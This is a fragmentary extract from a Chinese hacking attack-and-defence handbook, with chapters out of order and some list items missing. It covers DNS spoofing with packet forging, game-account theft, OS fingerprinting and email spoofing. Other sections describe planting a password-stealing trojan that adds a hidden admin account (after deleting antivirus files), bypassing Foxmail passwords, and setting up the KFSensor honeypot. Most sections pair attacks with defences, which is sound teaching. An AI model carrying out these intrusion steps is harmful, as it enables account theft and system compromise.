    {"text": "未知 第32招 实现DNS欺骗攻击 DNS（Domain Name System，域名管理系统）是一种组织成域层次结构的计算机和网络服务命名系统，DNS欺骗是一种非常复杂的攻击手段，但使用起来比IP欺骗要简单得多。 1.DNS欺骗的实现过程 DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为，在局域网和广域网上实现DNS欺骗有所不同，相比之下，在局域网中实现DNS欺骗显得稍微容易些。 （1）在局域网中利用嗅探器实现DNS欺骗 如果已成功控制203.171.239.143所属子网中的任意一台主机，而且通过Sniffer对整个子网中传输的数据包进行嗅探，可设置只对203.171.239.143进行监听，从而获得需要标识ID。"},
    {"text": "该ID每次会自动增加1，所以可以第一次向DNS服务器发一个查询包并监听到该ID值，随后再发一个查询包，即可发送构造好的应答包，包内的标识ID为预测的值，可指定一个范围（如ID+1～ID+50）以提高成功率。"},
    {"text": "如某用户（192.168.0.45）向域名服务器203.171.239.143发来请求查询www.newtop01.com的IP地址包，此时203.171.239.156要进行欺骗，其看到的地址包的格式如下： 192.168.0.45——＞203.171.239.143[Query] NQY:1 NAN:0 NNS:0 NAD:0 QID:1234 QY:www.newtop01.com 其中NQY和NAN等都是查询包的标志位，当这两个标记为1时表示查询安保。"},
    {"text": "查询包的具体内容如下： 203.171.239.156——＞203.171.239.143[Query] NQY:1 NAN:0 NNS:0 NAD:0 QY:www.newtop01.com 再给用户192.168.0.45发送伪造的且带预测QID的应答包，其具体内容如下： 203.171.239.143——＞192.168.0.45[Answer] NQY:1 NAN:0 NNS:0 NAD:0 QY:www.newtop01.com PTR AN:www.newtop01.com PTR 203.171.239.84 其中“203.171.239.84”就是伪造的IP地址，这样，DNS欺骗就完成了。"},
    {"text": "（2）在广域网中实现DNS欺骗 如果要在广域网上实现DNS欺骗，并没有太多选择，黑客常常采用如下四种方式来实现DNS欺骗： 1）随机地测试所有ID的可能存在的值。"},
    {"text": "3）对DNS服务器实行拒绝服务式攻击，使其无法提供服务，此时就会出现类似的提示信息：＞＞mar 05 18:20:17 ADM named[1931]:db_F_ACTIVE set-ABORT at this time named deamon is out of order。"},
    {"text": "2.DNS的攻击实例 网络守护神是主要针对目前国内机关，企事业单位的网络应用现状，如单位总出口带宽有限、网络滥用、员工无节制上网、聊天等情况，提供了简单、快捷而非常有效的管理功能。"},
    {"text": "步骤1：安装网络守护神后，首次启动时会弹出要求设置自动维护时间间隔的【网络守护神性能维护程序】对话框，在其中设置自动维护网络守护神的时间间隔，如图4-55所示。 图 4-55 【网络守护神性能维护程序】对话框 步骤2：单击【确定】按钮，即可打开【网段名称】对话框，在“请输入网段名称”文本框中输入网段名称，如图4-56所示。 图 4-56 【网段名称】对话框 步骤3：单击【下一步】按钮，即可打开【接入公网类型】对话框，在其中选择“路由器（企业路由器、宽带路由器等）”单选按钮，如图4-57所示。 图 4-57 【接入公网类型】对话框 步骤4：单击【下一步】按钮，即可打开【选择网卡】对话框，在“请为网段选择对应的操作”下拉列表中选择对应网卡，可看到该网卡的信息，如图4-58所示。 图 4-58 【选择网卡】对话框 步骤5：在设置完毕之后，单击【下一步】按钮，即可打开【指定网段范围】对话框，在其中设置相应的IP地址范围，如192.168.0.1～192.168.0.88，如图4-59所示。 图 4-59 【指定网段范围】对话框 步骤6：单击【下一步】按钮，即可打开【出口带宽】对话框，在“本网段局域网出口带宽接入带宽”下拉列表中选择“10Mps及以上（办公局域网）”选项，如图4-60所示。 图 4-60 【出口带宽】对话框 步骤7：单击【完成】按钮，即可打开【监控网段配置】窗口，在其中选中要监控的网段，如图4-61所示。"},
    {"text": "单击【开始监控】按钮，即可启动网络守护神服务，如图4-62所示。 图 4-61 【监控网段配置】窗口 图 4-62 启动网络守护神服务 步骤8：单击【信息提示】对话框中的【确定】按钮，即可打开【策略管理器】窗口，如图4-63所示。 单击【新建策略】按钮建立一个策略，在【网络守护神】主窗口中单击【软件配置】图标，即可打开【软件选项】对话框，在其中可以对软件的各种性能进行设置，如图4-64所示。 图 4-63 【策略管理器】窗口 图 4-64 【软件选项】对话框 步骤9：在【网络守护神】主窗口中单击【攻击检测】图标，在【网络攻击检测】对话框中单击【开始】按钮，即可进行扫描，其扫描结果如图4-65所示。"},
    {"text": "单击【IP绑定】图标，即可打开【IP-MAC地址绑定设置】对话框，在其中勾选“启用MAC-IP地址绑定”复选框，可以添加MAC-IP地址绑定，如图4-66所示。 图 4-65 【网络攻击检测】对话框 图 4-66 【IP-MAC地址绑定设置】对话框"},
    {"text": "未知 第33招 行行色色的网络欺骗 网络欺骗就是使入侵者相信信息系统存在有价值的、可利用的安全弱点，并具有一些可攻击窃取的资源（当然这些资源是伪造的或不重要的），并将入侵者引向这些错误资源。"},
    {"text": "1.网络游戏“盗号”骗术防范 所以每个玩定都对自己游戏中的角色格外关注，一旦不小心被别人盗取了号码或盗取了自己游戏角色身上的优秀装备，就会有痛不欲生之感，懊恼之极。"},
    {"text": "1）用木马盗号。 使用木马盗取玩家号码是黑客最常用的一种方法，尤其是在一些公共网络场所。 有人会故意在某台机器中种上木马，然后等待其他人使用这台机器玩网络游戏，一旦使用者输入了自己的游戏账号和密码，木马程序就将自动记录下账号与密码，并保存到本地磁盘某个隐藏的文件夹中，或直接发送到种植木马者的电子邮箱中。"},
    {"text": "针对这种情况，建议用户在使用电脑之前先使用杀毒软件进行查杀，特别是在公共场所使用电脑更应如此。 如果为了节省时间，则可使用一些木马专杀工具，减少查杀时间。 如果使用的是自己的电脑，建议安装防火墙和杀毒软件并定期查杀，从而拦截木马和病毒的入侵，使用防火墙不仅可以拦截已知木马，还可以在新型木马访问网络时提醒用户，帮助用户识别。 下面介绍手工删除传奇木马的操作方法（本操作适用于Windows NT/2000/XP/2003操作系统），具体的操作步骤如下。 步骤1：按\"Ctrl+Alt+Del\"组合键打开“Windows任务管理器”窗口，在其中选择“进程”标签，将传奇木马进程intren0t.exe结束。 步骤2：使用“我的电脑”窗口进入系统所有文件夹（Winnt或Windows）中，找到intren0t.exe文件将其删除。 步骤3：打开【注册表编辑器】窗口，展开到HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run项，将右侧窗口中的\"intren0t\"=\"%SystemRoot%\\intren0t.exe\"删除。 再展开到HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Services注册表项，将右侧窗口中的\"intren0t\"=\"%SystemRoot%\\intren0t.exe\"删除。"},
    {"text": "针对这种方式，用户同样可使用防火墙和杀毒软件进行查杀，因为现在很多杀毒软件都将具有恶意的远程控制软件加到了病毒库中，一旦发现本地计算机中运行这些程序，就会立即报告并清除。"},
    {"text": "3）利用系统漏洞盗号。 这是一种通过系统漏洞在肉鸡中植入木马或远程控制工具，然后通过第一种或第二种方式进行盗号的活动。 针对这种方式，用户可经常利用系统漏洞扫描工具，扫描自己的系统，发现漏洞应及时下载并安装相应的补丁，使盗号者无漏洞可以利用，保护自己的游戏账号与密码的安全。 2.网站上的钓鱼术 由于很多网络游戏都是需要使用充值卡进行充值后才能正常玩，所以有些不法分子就打起了欺骗充值而获得不法收入的主意。 这些不法分子注册与游戏商网站相似的域名，并抄袭制作出与游戏商网站完全一致的操作界面欺骗迷惑广大游戏爱好者，使不知情者前往充值，从而达到骗取点卡和游戏账号与密码的目的。 （1）欺骗原理 以网易游戏《大话西游OnlineII》为例，网易点数卡充值查询中心网站域名为http://pay.163.com，而曾经欺骗广大用户的非法网站域名为http://www.pay163.com。 若充值者不注意辨别，就可能将该网站错当是网易游戏《大话西游OnlineII》的充值网站。 还有一些欺骗网站与官方网络游戏网站首页完全相同，各项链接也正确链接到官方网站，但在主页公告中增加一条虚假有奖消息，点击后进入填写资料页面并说明填写后可以中奖。"},
    {"text": "（2）防范方法 针对欺骗网站的情况，建议广大网络游戏玩家采取如下措施，避免上当。 1）充值时不要轻信任何非官方网站表单提交程序，一定通过搜索引擎等方式进入网络游戏公司正式页面以确保不会有危险。 2）发现欺骗网站后应及时向网络游戏公司举报，让网络游戏公司对非法网站采取屏蔽等措施，避免其他不知情玩家受骗。 （3）提高防范意识 除伪造网页外，还有些冒充网游管理员骗取玩家的账号和密码。 如盗号者申请“发奖员”、“点卡验证员”等名字，利用信件频道发送一些虚假中奖消息，骗取玩家账号和密码。 为防止上当受骗，广大网游玩家应具有如下防范措施： 1）在游戏中一般只有一个名字叫“游戏管理员”，其他任何名称都是假冒的，而且“游戏管理员”在游戏中一般不会向用户索取账号和密码的。"},
    {"text": "2）在游戏中如果有必要索取玩家的账号和密码进行查询时，管理员只会在游戏频道中与用户联系，不会经过其他任何途径索取玩家游戏账号和密码。"},
    {"text": "3）任何与中奖有关的信息，网游公司只会在主页以公告形式向广大用户公布，不会在游戏中直接与玩家联系。 4）如果用户在游戏过程中发现有人给自己发送中奖消息，应该马上与在线管理员联系，让网游公司进行处理。 建议广大玩家经常登录游戏官方网站，查看有无盗号的相关通知和公告。"},
    {"text": "只要广大玩家随时提高警惕，出现错误登录非法网站从而导致账号丢失的可能性就相当小了。 3.游戏账户破解防范 现在绝大多数网站与网络游戏登录界面上都有“记住密码”功能，若用户使用了该功能，黑客就可能会利用一款专用工具，提取保留的用户账号与密码，从而实现盗取用户密码。"},
    {"text": "为了防止自己登录网站或游戏的账号与密码被盗，需记住如下几点防范措施： 1）尽量不要将账号暴露在公共论坛和其他网站，更不要使用“记住密码”功能。"},
    {"text": "2）在设置密码时尽量设置得复杂一些，位数应在8位以上，且数字、字母和其他字符混杂。 3）不要使用可轻易获得的关于自己的信息作为密码，如生日、身份证号码、手机号码、居住的街道名称、门牌号码等。 4）要经常更换密码，因为再复杂的密码也是可以被破解的，所以经常更换密码可以提高密码的安全系数。 5）申请密码保护，也就是设置安全码，安全码不要与密码相同。 如果没有设置安全码，别人一旦破解了密码就可以修改全部个人资料与登录密码。"},
    {"text": "6）进行完善的用户登录权限和软件安装权限管理，并尽可能地使用一些锁定软件在短暂离开时锁定计算机，避免其他人非法使用自己的计算机。"},
    {"text": "未知 第1招 探测操作系统 由于系统本身往往会存在某些弱点与不足之处，黑客之所以能够入侵，就是利用了这些弱点与错误。 现在网上流行的各种各样的入侵工具，都是黑客在分析了系统的弱点及存在的问题之后编写出来的。 作为一般的黑客，并不需要去编写工具，只要善于使用现成的入侵工具，就可以实现入侵。"},
    {"text": "1.使用X-Scan工具探测系统 X-Scan扫描器不同于一些常见攻击工具，它能用来发现问题，而不能直接攻击目标机器，执行如下操作可完成对远程计算机的操作系统探测。 使用X-Scan探测远程计算机的方法极其简单，具体的操作步骤如下。"},
    {"text": "双击\"X-Scan_gui.exe\"应用程序图标，即可进入\"X-Scan_gui\"扫描器的主窗口，在其中可以浏览此软件的功能简介、常见问题解答等信息，如图1-1所示。 图 1-1 \"X-Scan_gui\"扫描器主窗口 步骤2：选择【设置】→【扫描参数】菜单项，即可打开【扫描参数】对话框，在其中选择“检测范围”选项设置扫描IP地址的范围，如图1-2所示。"},
    {"text": "在“指定IP范围”文本框中输入需要扫描的目标IP地址（如192.168.0.10）、IP地址段（如192.168.0.10～192.168.0.255），还能增加子网掩码（如192.168.0.10/24）等。"},
    {"text": "图 1-2 【扫描参数】对话框 图 1-3 【示例】对话框 步骤3：展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块（这里需要勾选“远程操作系统”选项），在选择扫描模块时，还可在其右侧窗格中查看远程计算机的操作系统，识别是否通过“SNMP（Simple Network Management Protocol，简单网络管理协议）、NETBIOS（Network Basic Input/Output System，网络基本输入/输出系统）协议主动识别远程操作系统类型及版本”插件来完成，如图1-4所示。 图 1-4 “扫描模块”选项 步骤4：单击【确定】按钮返回到\"X-Scan_gui\"主窗口，单击 按钮，耐心等待片刻就可以看到如图1-5所示的扫描结果了。 在左侧的扫描目标右侧，即可看到\"Windows XP\"的标识，这就说明远程计算机使用的是Windows XP操作系统。 图 1-5 显示扫描结果 2.使用ping命令探测系统 ping命令是测试网络连接、信息发送和接收状况的实用型工具，是一个系统内置的探测工具。 对于一个生活在网络上的管理员或黑客，ping命令是第一个必须掌握的DOS命令，它所利用的原理是“网络上的机器都有唯一确定的IP地址，用户给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包用户可以确定目标主机的存在，可以初步判断目标主机的操作系统等”。 通过在命令提示符下输入\"ping/?\"命令，即可查看ping命令的详细说明，如图1-6所示。 图 1-6 查看ping命令的详细说明 -a：指定对目的地IP地址进行反向名称解析。 如解析成功，ping将显示相应的主机名。 -t：不断使用ping命令发送回响请求信息到目的地。"},
    {"text": "典型示例： （1）检测本机网卡驱动程序以及TCP/IP协议 若想检测本机的网卡驱动程序以及TCP/IP协议是否正常，只需要在命令提示符窗口中，输入\"ping 192.168.0.7\"命令，如图1-8所示。 图 1-8 检测本机 （2）多参数合用检测 若要在命令提示符窗口中输入\"ping-a-t 192.168.0.10\"命令，即可对192.168.0.10的这台计算机进行探测。"},
    {"text": "表示没有收到网络设备返回的响应数据包，也就是说网络不通。 出现这个结果原因很复杂，通常有对方装有防火墙并禁止ICMP（Internet Control Message Protocol，网际控制信息协议）回显、对方已经关机、本机的IP设置不正确或网关设置错误、网线不通等几种可能。"},
    {"text": "TTL是指一个数据包在网络中的生存期，网管可通过它了解网络环境，辅助维护工作，通过TTL值可以粗略判断出对方计算机使用的操作系统类型，以及本机到达目标主机所经过的路由数。"},
    {"text": "在本机中生成ICMP数据包时，系统就会给这个ICMP数据包初始化一个TTL值，如Windows XP就会生成“128”，将这个ICMP数据包发送出去，遇到网络路由设备转发时，TTL值就会被减去“1”，最后到达目标主机，如果在转发过程上TTL值变成“0”，路由设备就会丢弃这个ICMP数据包。"},
    {"text": "＜% Response.write?Request.ServerVariables(\"HTTP_ACCEPT_LANGUAGE\")＆\"＜br＞\"Response.write?Re-quest.ServerVariables(\"HTTP_USER_AGENT\")＆\"＜br＞\" %＞ 在访问含有上述代码的网页时，就会看到相应的信息。"},
    {"text": "提示 上述方法是使用了服务器变量集合保存了随HTTP（Hyper Text Transfer Protocol，超文本传输协议）头请求一起传送的HTTP头的信息，HTTP头中包含有很多来访者（客户端）的信息，可以通过它获得有关来访者的操作系统版本、浏览器版本等信息。"},
    {"text": "未知 第34招 密码大盗的伪装账户 “密码大盗”是一款专门用于盗取Windows 2000/XP管理员密码的软件，可以将其视为木马的一种，这里因为它具有木马那种隐蔽性的特征。 密码大盗植入的方法有本地和远程两种，需要先了解密码大盗的这两种用法后，才能采取不同的措施将其“绳之以法”。 1.本地植入密码大盗 使用密码大盗进行“本地植入”的操行非常容易，这种方法是指黑客在当前计算机上进行密码大盗的植入后，窃取系统管理员密码的过程（如使用普通权限的账户登录被入侵主机后，再使用密码大盗进行管理员级别的账户窃取）。"},
    {"text": "步骤1：从网上下载并解压“Windows密码大盗”压缩文件，双击“密码大盗”应用程序图标，会发现文件没有什么反应，只是鼠标的光标稍微动了一下，其实这时“Windows密码大盗”已经自动在系统中增加了一个超级用户名称\"admin\"，其密码为\"stgzs\"。"},
    {"text": "选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口，如图4-68所示。 图 4-68 “管理工具”窗口 步骤2：双击“计算机管理”图标，即可进入【计算机管理】窗口，展开“系统工具”→“本地用户和组”→“用户”选项，即可在右侧列表中看到刚添加的\"admin\"账户，如图4-69所示。 图 4-69 “计算机管理”窗口 步骤3：双击\"Admin\"这个账户，即可弹出【Admin属性】对话框，切换至“隶属于”选项卡的设置界面后，就会发现这个账户是属于\"Administrator\"组的（即拥有系统管理员权限），如图4-70所示。 这个隐藏\"admin\"账户可使任何人轻松地以系统管理员身份进入系统，而不必再考虑原有的管理员密码是多少。"},
    {"text": "图 4-70 【Admin属性】对话框 步骤4：如果看不到这个\"admin\"账户，黑客就会等待管理员在重启计算机后用管理员账户进入一次系统后，让“Windows密码大盗”存放管理员密码的目录\"C:\\Windows\\Temp\\\"中打开Config.ini文件，就可以获取管理员密码了，如图4-71所示。"},
    {"text": "本地植入木马破解系统管理员密码的方法很简单，除随时查看系统中是否有多出来的系统管理员外，还应采取对系统进行严格的使用权限控制和全面加密措施，才能防患于未然。 2.远程植入密码大盗 再来看看远程植入“密码大盗”的方法，其实远程破解很容易实现，比如在扫描到具有共享漏洞的计算机后，就可以进行相应破解操作。 （1）检查病毒防火墙 在植入木马之前，有经验的黑客往往会先对对方计算机中的病毒防火墙搞些小破坏，比如个人用户常用的瑞星防火墙的安装目录通常在类似于\"D:\\Program Files\\rising\\rav\"的目录中，黑客就会采取将该目录中的文件“删除”等方法来使程序成为“空架”，如图4-72所示。 图 4-72 瑞星防火墙的安装目录 （2）植入木马 解除病毒防火墙威胁后，就可以植入“Windows密码大盗”了。 在本机中进入入侵计算机的\"C:\\Documents and Settings\"目录中，查看哪个账户的桌面图标最多，就进入哪个账户的“开始”→“程序”→“启动”目录，并将其设置为隐藏属性的“Windows密码大盗”程序拷贝到该目录下，如图4-73所示。 图 4-73 “启动”窗口 当被入侵计算机的管理员再次重启系统后，就可以伺机再次利用共享漏洞登录被入侵计算机，并打开“Windows密码大盗”的密码存放文件，从而获得登录密码。"},
    {"text": "下面以Windows XP为例，具体的操作步骤如下。 步骤1：选择【开始】→【程序】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口。 双击“计算机管理”图标，即可进入【计算机管理】窗口。 依次展开【计算机管理（本地）】→【系统工具】→【本地用户和组】→【组】选项，即可在右侧的组列表中看到Administrator组的存在，如图4-74所示。 图 4-74 “计算机管理”窗口 步骤2：双击组列表中的\"Administrator\"项，即可弹出【Administrator属性】对话框，在其中可看到这个组中的所有成员，从这里就可以判断出管理员组中是否存在非法用户，如图4-75所示。 如果发现存在非法用户服务，如密码大盗私自添加的\"Admin\"账户，就应该立即选中这个账户并单击下方的【删除】按钮将其删除。 图 4-75 【Administrator属性】对话框 （2）关闭普通用户 一个管理严格的计算机系统通常不会允许有普通用户存在，因为这样会带来诸多安全隐患，所以应采取关闭普通用户或停止使用普通用户来使危险得以下降。"},
    {"text": "步骤1：在“计算机管理”窗口中展开【计算机管理（本地）】→【系统工具】→【本地用户和组】→【用户】选项，即可在右侧的组列表中看到所有存在的用户，如图4-76所示。 图 4-76 展开“用户”选项 步骤2：双击任意一个普通用户（如选择\"Admin\"用户），即可弹出【Admin属性】对话框，在“常规”选项卡中选择“账户已停用”选项，如图4-77所示。 图 4-77 【Admin属性】对话框 （3）组策略 在组策略中可通过一些选项的设置来管理账户。"},
    {"text": "展开【计算机配置】→【Windows设置】→【安全设置】→【账户策略】→【密码策略】选项，即可在右侧列表中查看密码的所有策略方式。 图 4-78 “组策略”管理窗口 步骤2：若在右侧列表中双击“密码长度最小值”选项，即可弹出【密码长度最小值属性】对话框，再在“本地安全设置”选项卡中设置“不要求密码的字符数”，如图4-79所示。 图 4-79 “本地安全设置”选项卡 步骤3：在“解释此设置”选项卡中可查看设置密码长度具体要求，如图4-80所示。"},
    {"text": "由于Windows XP中的Windows redirector存在未经检测的缓冲器，因此如果有人发送某些特定的数据，就会引起缓冲器溢出，从而导致OS异常关闭，或者执行任意指令。"},
    {"text": "要想恶意使用此漏洞，就必须以对话的形式登录到对象计算机中，然后运行使用Windows redirector的程序（比如\"Net Use\"命令），并将特定数据读取到Windows redirector中。"},
    {"text": "因此，恶意使用此漏洞的后果是普通用户（或者知道普通用户账号的攻击者）能够取得高于允许权限的“管理员权限”，即“权限提升”。 提升权限后，就会允许普通用户变更原本不允许的设置以及运行原本不允许运行的程序等。"},
    {"text": "可以发现在Windows XP这样安全性已相当高的操作系统中，都会出现账户的漏洞，并且这个漏洞只需黑客有普通用户的权限就可以利用其取得管理员权限了。"},
    {"text": "另外，为了不让他人恶意地利用一些安全漏洞，将能够登录到机器上的用户设置为必要的最低权限、正确实施密码管理、在屏保中设置密码等措施，都是值得推荐使用的最基本措施。"},
    {"text": "未知 第35招 Foxmail账户解除与防范 电子邮件容易暴露人们隐私，能够泄漏邮箱主人邮件内容、电话号码等很私密的东西。下面以国产最著名的免费邮件收发软件Foxmail6.0为例，谈谈如何防范邮箱使用口令、账户及密码防止被窃的方法。 1.邮箱使用口令的安全防范 先来了解一下Foxmail中邮箱账户使用口令的破解与防范。需要声明的是，对于以下即将了解到的破解Foxmail中邮箱账户访问口令知识，希望读者能通过此口令的破解过程知道如何善用这个方法（比方说口令遗忘时），以及学会如何防范这个可能带来的危险。 （1）Foxmail6. 0账户访问口令的设置 在使用Foxmail6.0之前应先对其进行相应的设置。 具体的操作步骤如下。 步骤1：下载并安装\"Foxmail6.0\"软件，双击桌面上的\"Foxmail6.0\"应用程序图标，即可弹出【创建新用户账户向导】对话框，在其中填写需要创建的账户名称和密码等，如图4-81所示。 图 4-81 【创建新用户账户向导】对话框 步骤2：单击【下一步】按钮，即可打开【指定邮件服务器】对话框，在其中选择接收邮件服务器的方式、邮件的帐户以及发送邮件所采用的服务器等，如图4-82所示。 图 4-82 【指定邮件服务器】对话框 步骤3：继续单击【下一步】按钮，即可打开【账户建立完成】对话框，如图4-83所示。 图 4-83 【账户建立完成】对话框 在成功创建用户账户后，再详细地讲述采用\"Foxmail6.0\"邮箱账户访问口令的具体设置过程了。具体的操作步骤如下。 步骤1：单击【完成】按钮，即可进入\"Foxmail\"主窗口。在左侧“邮箱账户”列表中右击选中任意一个建立好的邮箱账户，从快捷菜单中选择“设置账户访问口令（A）”菜单项，如图4-84所示。 图 4-84 \"Foxmail\"主窗口 步骤2：稍后将弹出【口令】对话框，在“请输入口令”文本框中输入所需要的口令后，单击【确定】按钮，即可结束口令设置并关闭该对话框，如图4-85所示。 图 4-85 【口令】对话框 步骤3：在口令输入正确无误后，即可弹出一个【正在收取邮件】对话框，邮件收取完成后，则相应邮箱就可以被使用了，如图4-86所示。 图 4-86 【正在收取邮件】对话框 （2）口令的破解 口令破解如果是针对他人的邮箱账户而言，是一种违法行为。但如果是因自己邮箱访问口令遗忘等原因，而破解自己邮箱账户访问口令则是一种合法行为。 破解Foxmail中邮箱账户的访问口令很容易，可通过Foxmail为每个邮箱账户设计的配置文件\"Account.stg\"来完成。配置文件可通过路径“C:\\Program Files\\Foxmail\\Mail\\****//****为邮箱账户名”来找到。在类似路径中找到Account.stg文件后用“写字板”程序打开，即可发现其中记录此账户包括账户访问口令、邮箱地址、邮箱密码在内的基本设置，如图4-87所示。 图 4-87 利用写字板打开\"Account.stg\"程序 既然这个文件包含了邮箱账户访问口令在内等信息，那么就可以通过在Foxmail中新建一个不设置访问口令的邮箱账户，将该账户下的\"Account.stg\"文件复制到设置口令的账户目录中，覆盖\"Account.stg\"文件即可清空访问口令了，如图4-88所示。 图 4-88 复制\"Account.stg\"文件到口令账户目录中 （3）防范 针对\"Account.stg\"文件带来的安全隐患，可以采用“删除账户”的方法来防范非法用户盗用账户。这是一种彻底的防范方法，删除的操作步骤如下。 步骤1：在Foxmail中选中想要删除的账户，单击【账户】→【删除】菜单项，即可将Foxmail窗口中的账户删除。 步骤2：在\"C:\\Program Files\\Foxmail\\Mail\\\"目录中找到在Foxmail窗口中删除的账户同名目录，按\"Ctrl+Delete\"组合键将其删除。 2.邮箱账户密码的防范 如果计算机是多用户环境，强烈建议不要在Foxmail中建立用户时将邮箱密码也同时设置，因为这也将会使邮箱密码拱手送人。Foxmail将密码进行简单加密后保存在\"Account.stg\"文件中，只要知道加密的算法及密钥，即可轻松得到该邮箱的密码以及其长度。 对于不知道算法的初级用户，网上还有很多可以利用Foxmail窃取邮箱密码的程序来得到邮箱密码。所以在多用户共同使用一台计算机的环境下，强烈建议不要设置远程邮箱密码，以免邮箱因密码失窃而永远消失。"},
    {"text": "未知 第36招 防范邮箱账户欺骗 邮箱账户欺骗是指伪造邮箱地址发信给他人的行为，这种行为可以是恶意的，也可以用来保护自己。 1.伪造邮箱账户 邮件地址欺骗是非常简单和容易的，攻击者针对用户的电子邮件地址，取一个相似的电子邮件名（如将“发件人姓名”配置成与用户一样的发件人姓名），然后冒充该用户发送电子邮件，在他人收到邮件时，往往不会从邮件地址、邮件信息头等上面做仔细检查，从发件人姓名、邮件内容等上面又看不出异样，误以为真，攻击者从而达到欺骗的目的。"},
    {"text": "人们通常以为电子邮件的回复地址就是它的发件人地址，其实不然，发件人地址和回复地址可以不一样，熟悉电子邮件客户端使用的用户也会明白这一点，在配置账户属性或撰写邮件时，可以指定与发件人地址不同的回复地址。 由于用户在收到某个邮件时，虽然会检查发件人地址是否真实，但在回复时并不会对回复做出仔细检查，如果配合SMTP欺骗使用，发件人地址是攻击者自己的电子邮件地址，就会具有更大地欺骗性，诱骗他人将邮件发送到攻击者的电子邮箱中。"},
    {"text": "现在以一个无需SMTP服务器中转即可将邮件直接发送到目的邮件地址的软件为例，进行伪造邮箱账户并发送邮件。 通过这类软件发出的信件对方往往立即可以收到，并且可以任意设定发件人邮箱地址，这就给伪造邮箱账户创造了条件。"},
    {"text": "1）干脆来个假邮箱地址，在各大论坛等需要注册时填写邮箱的地方使用。 2）使用小技巧，如将ssn@public.sq.js.cn在输入时改成ssn public.sq.js.cn，大家都会知道这个实际上就是邮箱，但一些邮箱自动搜索软件却无法识别这样的“邮箱”了。"},
    {"text": "3.追踪仿造邮箱账户发件人 绝大多数接收的邮件都有源IP地址内嵌在完整地址标题中，以帮助标识电子邮件的发送者并跟踪到发送者的服务提供商。"},
    {"text": "图 4-89 “原始信息”窗口 4.防范垃圾邮件 网络中这些令人闻风色变的垃圾邮件，以其难以测知的真实邮箱地址让人怒火中烧，却又无可奈何。"},
    {"text": "（1）垃圾邮件及其特征 垃圾邮件是指未经收件人允许或不知情情况下，以匿名或伪名的方式，给众多非法获知（恶意搜索或购买而得）的邮箱重复发送的邮件（如对同一邮箱重复发送100次广告邮件）。"},
    {"text": "如信件内容带有允许收件人不再接受此类邮件的描述，很多收件人信以为真，在回信表示不愿意接收信件后，结果让发送垃圾邮件者轻易知晓其邮箱真实存在。 垃圾邮件对每个网民来说都是有害的，会使网民的邮箱空间被恶意填满，从而导致真正有用的信件无法接收。 其实垃圾邮件还往往具有携带病毒的特点，会使用户的邮箱甚至系统瞬间瘫痪掉。 因此，作为普通的邮箱使用者，也应尽可能地做好反垃圾邮件的种种措施，采取以逸待劳的方式，让垃圾邮件来势汹汹却不能憾泰山分毫。"},
    {"text": "在Foxmail中可以通过规则过滤、贝叶斯过滤等方法，对接收的邮件进行判断识别出是否为垃圾邮件，如果是垃圾邮件将会自动分捡到垃圾邮件箱中，从而最大程度地实现了与垃圾邮件对抗的效果。 在Foxmail主窗口中选择【工具】→【反垃圾邮件设置】菜单项，即可进入“反垃圾邮件设置”对话框，在其中可以看到多项有关垃圾邮件防范的设置项，如图4-90所示。"},
    {"text": "在“规则过滤”选项卡中勾选“使用规则判定接收到的邮件是否为垃圾邮件”复选框，再根据当前邮箱遭受垃圾邮件“骚扰”的程度来决定“过滤强度”的强弱，如果垃圾邮件“铺天盖地”，则设置强度应为“高”最合适，如图4-91所示。"},
    {"text": "选中任一个账户，选择【邮箱】→【过滤器】菜单项，即可打开【过滤管理器】对话框，如图4-96所示。 单击左下角的【新建】按钮，即可弹出【过滤器】对话框，可以看出过滤器由条件选项和执行选项两部分组成，分别用来设置过滤器的作用条件和要执行的操作。"},
    {"text": "任何回信或命令的使用，都可能会告知垃圾邮件发件者邮箱地址“真实有效”，这样的邮箱地址将被放置在更多垃圾邮件列表中，将会有更多垃圾邮件和用户亲密接触。"},
    {"text": "未知 第37招 蜜罐KFSensor很诱人 “蜜罐”技术可以模拟出一个充满漏洞的系统，当恶意入侵者得意洋洋时，用户却早已为反攻赢得了宝贵的时间。蜜罐好像是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后就可以知道其是如何得逞的，随时了解针对公司服务器发动的最新攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握其社交网络。 1.蜜罐设置 KFSensor是一款基于IDS的安全工具，通过模拟FTP、POP3、HTTP、Telnet、SMTP等服务，吸引黑客的攻击。通过详细的安全检测报告，实时监测本地计算机。 具体的操作方法如下。 步骤1：用户从网上下载并安装后，选择【开始】→【程序】→【KFSensor】→【KFSensor】菜单项，即可进入其操作界面，如图4-98所示。 图 4-98 \"KFSensor\"界面 步骤2：选择【Settings】→【Set Up Wizard】菜单项，即可打开设置向导对话框，如图4-99所示。单击【下一步】按钮，在如图4-100所示对话框中选择需要的模拟服务。单击【下一步】按钮，给蜜罐系统设置一个域名，如图4-101所示。 图 4-99 蜜罐设置向导 图 4-100 选择模拟的服务 图 4-101 设置域名 步骤3：单击【下一步】按钮，在其中可以输入的E-mail地址，使KFSensor能够向该邮箱发送记录信息，如图4-102所示。 图 4-102 输入邮箱地址 步骤4：单击【下一步】按钮，在如图4-103所示对话框中设置有关伪装系统的选项。单击【下一步】按钮，在其中勾选\"Install as systems service\"复选框，如图4-104所示。 图 4-103 设置有关选项 图 4-104 安装伪装系统 步骤5：单击【下一步】按钮，再单击【完成】按钮，即可结束设置向导，如图4-105所示。单击工具栏上的【Start Server】按钮，即可启动蜜罐程序。当KFSensor发现有人扫描本机时，图标就会变成红色，并进行报警，可以查看日志，了解黑客的扫描手法和入侵行为。 图 4-105 完成设置操作 此时若用扫描器工具对该主机进行扫描，就会发现开放的端口很多，几乎像一台刚装好系统和服务器软件的主机，连一些危险的端口都开放着，还可以扫描到NT、FTP、SQL弱口令、CGI、IIS漏洞等，但这些都是KFSensor模拟出来的。 2.蜜罐诱捕 